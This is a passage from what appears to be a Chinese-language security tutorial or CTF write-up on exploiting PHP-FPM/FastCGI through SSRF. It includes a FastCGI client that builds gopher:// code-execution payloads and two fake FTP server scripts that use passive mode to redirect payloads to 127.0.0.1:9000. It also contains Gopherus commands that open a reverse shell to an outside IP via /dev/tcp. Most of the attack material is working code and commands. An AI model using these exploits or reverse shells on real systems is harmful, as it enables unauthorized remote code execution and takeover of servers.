self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId)                                                      return  request     def  __waitForResponse (self, requestId ):         data = b''          while  True :             buf = self.sock.recv(512 )             if  not  len (buf):                 break              data += buf         data = BytesIO(data)         while  True :             response = self.__decodeFastCGIRecord(data)             if  not  response:                 break              if  response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \                     or  response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR:                 if  response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR:                     self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR                 if  requestId == int (response['requestId' ]):                     self.requests[requestId]['response' ] += response['content' ]             if  response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS:                 self.requests[requestId]         return  self.requests[requestId]['response' ]     def  __repr__ (self ):         return  "fastcgi connect host:{} port:{}" .format (self.host, self.port) if  __name__ == '__main__' :    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' )     parser.add_argument('host' , help ='Target host, such as 127.0.0.1' )     parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' )     parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' )     parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int )     args = parser.parse_args()     client = FastCGIClient(args.host, args.port, 3 , 0 )     params = dict ()     documentRoot = "/"      uri = args.file     content = args.code     params = {         'GATEWAY_INTERFACE' : 'FastCGI/1.0' ,         'REQUEST_METHOD' : 'POST' ,         'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ),         'SCRIPT_NAME' : uri,         'QUERY_STRING' : '' ,         'REQUEST_URI' : uri,         'DOCUMENT_ROOT' : documentRoot,         'SERVER_SOFTWARE' : 'php/fcgiclient' ,         'REMOTE_ADDR' : '127.0.0.1' ,         'REMOTE_PORT' : '9985' ,         'SERVER_ADDR' : '127.0.0.1' ,         'SERVER_PORT' : '80' ,         'SERVER_NAME' : "localhost" ,         'SERVER_PROTOCOL' : 'HTTP/1.1' ,         'CONTENT_TYPE' : 'application/text' ,         'CONTENT_LENGTH' : "%d"  % len (content),         'PHP_VALUE' : 'auto_prepend_file = php://input' ,         'PHP_ADMIN_VALUE' : 'allow_url_include = On'      }                    request_ssrf = urlparse.quote(client.request(params, content))     print ("gopher://127.0.0.1:"  + str (args.port) + "/_"  + request_ssrf) 
用法依旧:
1 python fpm2.py -c "<?php system('ls'); exit(); ?>" -p 9000 127.0.0.1 /var/www/html/index.php 
	注:这里执行的命令的起始路径是我们传入的这个文件,例如/var/www/html/index.php这个
神了,从下午2点搭这个b环境打ssrf一直有问题,mb的最后发现是hcj的sb docker模板拉的是轻量级煞笔php,最后自己重新拉了个ubuntu配的php,nginx,php-fpm才好使,服了!!!!! 
使用Gopherus gopherus确实牛逼,输入:python2 gopherus.py --exploit fastcgi后路径再输入已确定存在的php文件的路径,再输入要执行的命令即可.
效果:
SSRF中的攻击点 curl_exec() 很经典的能进行ssrf的函数,能支持file,dict,gopher等伪协议.
file_get_contents() 可以从指定路径来获取资源,不支持gopher协议
sockopen() 这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
FTP攻击FPM/FastCGI FTP的两种模式 	FTP会话包含了两个通道,控制通道和数据传输通道,FTP的工作有两种模式,一种是主动模式,一种是被动模式,以FTP Server为参照:主动模式,服务器主动连接客户端传输;被动模式,等待客户端的连接。
	在主动模式下,FTP客户端随机开启一个大于1024的端口N向服务器的21号端口发起连接,然后开放N+1号端口进行监听,并向服务器发出PORT N+1命令。服务器接收到命令后,会用其本地的FTP数据端口(通常是20)来连接客户端指定的端口N+1,进行数据传输。
	在被动模式下,FTP库户端随机开启一个大于1024的端口N向服务器的21号端口发起连接,同时会开启N+1号端口。然后向服务器发送PASV命令,通知服务器自己处于被动模式。服务器收到命令后,会开放一个大于1024的端口P进行监听,然后用PORT P命令通知客户端,自己的数据端口是P。客户端收到命令后,会通过N+1号端口连接服务器的端口P,然后在两个端口之间进行数据传输。
	总的来说,主动模式的FTP是指服务器主动连接客户端的数据端口,被动模式的FTP是指服务器被动地等待客户端连接自己的数据端口。
	由此可见,在被动模式中,FTP客户端和服务端的数据传输端口是由服务端指定的,实际上除了端口,服务器的地址也是可以被指定的.由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:
1 227 Entering Passive Mode(192,168,9,2,4,8) 
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8) 代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。
	这样,假如我们指定 (127,0,0,1,0,9000) ,那么便可以将地址和端口指到 127.0.0.1:9000,也就是本地的 9000 端口。同时由于 FTP 的特性,其会把传输的数据原封不动的发给本地的 9000 端口,不会有任何的多余内容。如果我们将传输的数据换为特定的 Payload 数据,那我们便可以攻击内网特定端口上的应用了。在这整个过程中,FTP 只起到了一个重定向 Payload  的内容。
写入文件 例:
1 2 3 4 <?php highlight_file (__FILE__ ); file_put_contents ($_GET ['file' ], $_GET ['data' ]);?> 
一个经典的写文件函数,但是假如没有权限写文件我该怎么利用呢?那么就可以利用ssrf来打.
ssrf通常能使用gopher://协议来打,但是这个函数不支持,如果内网存在PHP-FPM的话,那么我们就可以利用FTP的被动模式来攻击FPM.
起一个伪ftp客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import  sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 23 ))         s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' )  conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close() 
使用Gopherus生成一个打FPM反弹shell的payload,只取_后面的值.
1 2 3 python gopherus.py --exploit fastcgi /var/www/html/index.php  bash -c "bash -i >& /dev/tcp/103.150.11.108/2333 0>&1" 
nc监听2333端口,传参即可反弹shell
读取写回文件 	例如CVE-2021-3129这个漏洞,核心就是传入 file_get_contents() 和 file_put_contents() 这两个函数中的内容没有经过过滤,从而可以通过精巧的构造触发 phar 反序列化,达到RCE的效果.
示例代码:
1 2 3 4 <?php $contents  = file_get_contents ($_GET ['viewFile' ]);file_put_contents ($_GET ['viewFile' ], $contents );?> 
可以看到,这段代码的主要功能就是先读取一个文件,再把这个文件的内容写到这个文件里,相当于啥也没干.
file_get_contents我们经常用来进行ssrf,其支持各种伪协议,假如我们使用ftp协议的话,传入
viewFile=ftp://evil-server/file.txt的话,那么就会发生以下步骤:
先通过file_get_contents()连接到我们的ftp服务器,下载file.txt 
再通过file_put_contents()连接到ftp服务器,并将其上传回file.txt 
 
	那么我们依旧搭一个evilftp服务器,先从服务器上下载文件后,当他试图传回文件的时候,我们再告诉他把文件发送到127.0.0.1:9000,这样我们就可以向目标主机本地的PHP-FPM发送一个任意的数据包,然后就能任意代码执行了.
依旧使用Gopherus生成payload:
1 2 3 python gopherus.py --exploit fastcgi /var/www/html/index.php  bash -c "bash -i >& /dev/tcp/103.150.11.108/2333 0>&1" 
evilftpredict.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import  socketfrom  urllib.parse import  unquotepayload = unquote("     " ) payload = payload.encode('utf-8' ) host = '0.0.0.0'  port = 23  sk = socket.socket() sk.bind((host, port)) sk.listen(5 ) sk2 = socket.socket() sk2.bind((host, 1234 )) sk2.listen() count = 1  while  1 :    conn, address = sk.accept()     conn.send(b"200 \n" )     print (conn.recv(20 ))       if  count == 1 :         conn.send(b"220 ready\n" )     else :         conn.send(b"200 ready\n" )     print (conn.recv(20 ))        if  count == 1 :         conn.send(b"215 \n" )     else :         conn.send(b"200 \n" )     print (conn.recv(20 ))       if  count == 1 :         conn.send(b"213 3 \n" )     else :         conn.send(b"300 \n" )     print (conn.recv(20 ))       conn.send(b"200 \n" )     print (conn.recv(20 ))        if  count == 1 :         conn.send(b"227 127,0,0,1,4,210\n" )       else :         conn.send(b"227 127,0,0,1,35,40\n" )       print (conn.recv(20 ))       if  count == 1 :         conn.send(b"125 \n" )                   print ("建立连接!" )         conn2, address2 = sk2.accept()         conn2.send(payload)         conn2.close()         print ("断开连接!" )     else :         conn.send(b"150 \n" )         print (conn.recv(20 ))         exit()          if  count == 1 :         conn.send(b"226 \n" )     conn.close()     count += 1